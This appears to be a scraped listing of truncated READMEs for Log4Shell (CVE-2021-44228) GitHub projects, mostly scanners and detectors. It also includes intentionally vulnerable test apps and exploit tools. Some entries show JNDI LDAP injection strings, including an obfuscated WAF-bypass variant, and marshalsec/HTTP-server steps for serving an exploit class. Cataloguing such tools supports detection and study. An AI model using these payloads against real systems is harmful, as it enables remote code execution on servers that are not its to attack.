log4shell-cve-2021-44228

🔍 脆弱性調査 ソフトウェアエコシステムにおける実際のセキュリティインシデントを扱った、厳選された詳細な脆弱性レポートのコレクションです。各エントリには、完全な技術分析、概念実証（PoC）、IOCリスト、および修復ガイダンスが含まれています。 目的: 教育用リファレンスおよびポートフォリオです。すべてのPoCコードは検出および研究目的のみに使用されます。 目次...

log4stdin

log4stdin — stdoutを持つあらゆるものに対するlog4shellインジェクション このリポジトリには、通称log4shellとして知られるCVE-2021-44228に対して意図的に脆弱なJavaアプリケーションが含まれています。 log4stdinは、文字通り、単なる標準入力リーダーであり、その入力は脆弱なlog4jインスタンスに渡されます。log4stdin.jar ビルドは、Mavenアーティファクトのlog4j-api 2.14.1とlog4j-core...

CVE-2021-44228

このリポジトリには README がありません。...

log4j-detector

Log4-detector 脆弱なLog4Jバージョンを検出するスキャナーで、チームが CVE-2021-44228（CRITICAL）、CVE-2021-45046、CVE-2021-45105、CVE-2021-44832 への曝露を評価するのに役立ちます。インストールされているすべてのアプリケーションを含む完全なファイルシステムを注意深く調べて、Log4Jインスタンスを検索できます。何層も深く隠されたLog4Jインスタンスも見つけられます。Linux、Windows、Mac、そしてJavaが動作するその他の環境でも動作します！ 目次 はじめに 使用例 その他の使用例 結果の理解...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 すべてのWindowsサーバー、ドメイン全体（マルチドメイン可）でlog4jコンポーネントを特定します。CVE-2021-44228 1,000台以上のWindowsサーバーに対応し、一度に250台以上のサーバーを処理できます。1k台のサーバーで約1時間半かかりました。 Apache log4j CVE-2021-44228 単一サーバーバージョン: 単一サーバーバージョン スクリプトの実行: エクスポート: 説明: root@kitploit: CVE-2021-44228向けに作成...

log4j_scanner

WindowsおよびUnix向けFilesystem log4jscanner スキャン対象: CVE-2021-44228, CVE-2021-45046, CVE-2019-17571, CVE-2021-44832 最低でもPython 2.7が必要です。 AuditのCustom Script Ruleとして、またはServer Automationを利用したServer Scriptを介して実行できます。 また、コマンドラインからスタンドアロンでも実行できます。 参照 https://github.com/hillu/local-log4j-vuln-scanner/...

Log4j-CVE-2021-44228

このPythonスキャナーは、Javaインスタンス内のlog4j脆弱性を検出し、応答を返します。...

log4jcheck

Log4j CVE-2021-44228 检测器 多线程检测 URL 列表，支持 POST 和 GET 请求并附带参数。 大量灵感来源于 NortwaveSecurity 版本。 设置 待检测的 URL 待检测的 URL 列表应采用以下格式（csv）： root@kitploit: description,URL,method,parameters production,example.com/login,POST,"username,password" staging,example.com/search,GET,"q" development,example.com/,GETNP,"...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test 测试 1. LDAP服务器与恶意文件下载服务器 1.1 运行Docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz" ports: -...

log4shell-vulnerable-app

Log4Shellサンプル脆弱性アプリケーション（CVE-2021-44228） このリポジトリには、Log4Shell と呼ばれるCVE-2021-44228に対して脆弱なSpring Boot Webアプリケーションが含まれています。 Log4j 2.14.1（spring-boot-starter-log4j2 2.6.1経由）とJDK 1.8.0181を使用しています。 アプリケーションの実行 実行してください： root@kitploit: docker run --name vulnerable-app --rm -p 8080:8080...

Log4J-CVE-2021-44228-RCE

Log4J CVE-2021-44228 エクスプロイト（コマンド実行） 対話型エクスプロイト、実行するだけ: ./exploit.sh...

jndi-ldap-test-server

jndi-ldap-test-server 这是一个极简的 LDAP 服务器，旨在用于测试 Java 应用中是否存在 JNDI+LDAP 注入攻击漏洞，尤其是 CVE-2021-44228。 如何测试 CVE-2021-44228 漏洞 1. 下载适用于你平台的测试服务器二进制文件（你可以在 发布版 下找到所有二进制文件）。 2. 在你要测试的应用程序可以访问的某个 IP 地址上运行测试服务器。如果你能在与你的应用相同的主机（localhost）上运行服务器，那是最简单的。 3. 找到你的应用程序从外部接收并记录的任何不可信的、外部提供的数据。 4. 让您的应用记录一条包含以下内容的字符...

CVE-2021-44228_scanner-main-Modified-

CVE-2021-44228scanner 修正版 - 非推奨 オリジナルのスクリプトとリポジトリ: https://github.com/CERTCC/CVE-2021-44228scanner 修正者: Alex Pena log4j CVE-2021-44228 問題に対して脆弱なアプリケーションは、JndiLookup.class の存在を検索するために jar、war、ear ファイルをスキャンすることで検出できる可能性があります。 発見されたファイルはすべて、それを使用しているアプリケーションが脆弱かどうかを判断するために調査する価値があります。JndiLookup.clas...

Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228

Log4JExploitation-VulnerabiliyCVE-2021-44228 はじめに JavaのロギングライブラリLog4jに関連するリモートコード実行の脆弱性が発見されました。 CVE-2021-44228 この脆弱性は、Wannacry以来の衝撃をグローバルなサイバーコミュニティに引き起こしています。 原因: Javaで書かれたほとんどのアプリケーションが影響を受け、脆弱であると考えられています。特にApache Struts2、Apache Solr、Apache Druid、Apache...

apache-tomcat-log4j

Apache Tomcat における Log4j2 CVE-2021-44228 脆弱性 POC プレビュー セットアップ Tomcat サーバーの起動 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat エクスプロイトクラスの配信 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar...

Log4J_0day_RCE

コミュニティに参加 Telegram CVE-2021-44228Apache Log4j Remote Code Execution） 影響を受けるバージョン JNDI-Injection-Exploit を使用して攻撃を実行できます。 rc1 の回避 例: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName WAF の回避 root@kitploit: $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

log4j-Scan-Burpsuite

log4j-Scan-Burpsuite Log4j脆弱性（CVE-2021-44228）のBurpsuite検出プラグイン スイッチ（ON/OFF）、フィルター（Filter）、送信（Send）を含む 機能： リクエストヘッダーを自動置換 POSTリクエストのapplication/jsonパラメータを自動置換 POSTリクエストのapplication/x-www-urlencodedパラメータを自動置換 GETリクエストのパラメータを自動置換 1回の送信で1つのパラメータのみ置換 2022.1.26 1. Cookieフィールド検出を追加し、Cookieパラメータを順番に置換 2...

CVE-2021-44228---detection-with-PowerShell

Detección de CVE-2021-44228 con PowerShell 1 Abra automatedscan.ps1, establezca las variables $ResultsCSV y $Directory 2 Guarde y cierre el archivo 3 Abra PowerShell como administrador y ejecute el siguiente comando: powershell.exe -noprofile -executionpolicy bypass -file .\automatedscan.ps1...

log4j2_CVE-2021-44228

Prueba del entorno log4j2: cualquier problema es responsabilidad personal Mi entorno de prueba es Java 17; si necesitas cambiarlo, solo modifícalo y vuelve a importar el proyecto. Después de iniciar el entorno, la dirección es: http://127.0.0.1:8006/test...

log4j-payload-generator

log4j-payload-generator log4j-paylaod generator : Apache log4j RCE CVE-2021-44228 向けの汎用ペイロードジェネレーター。 デプロイ このプロジェクトをデプロイするには、次のコマンドを実行します。 root@kitploit: sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git テストの実行 テストを実行するには、次のコマンドを実行します。 root@kitploit: cd...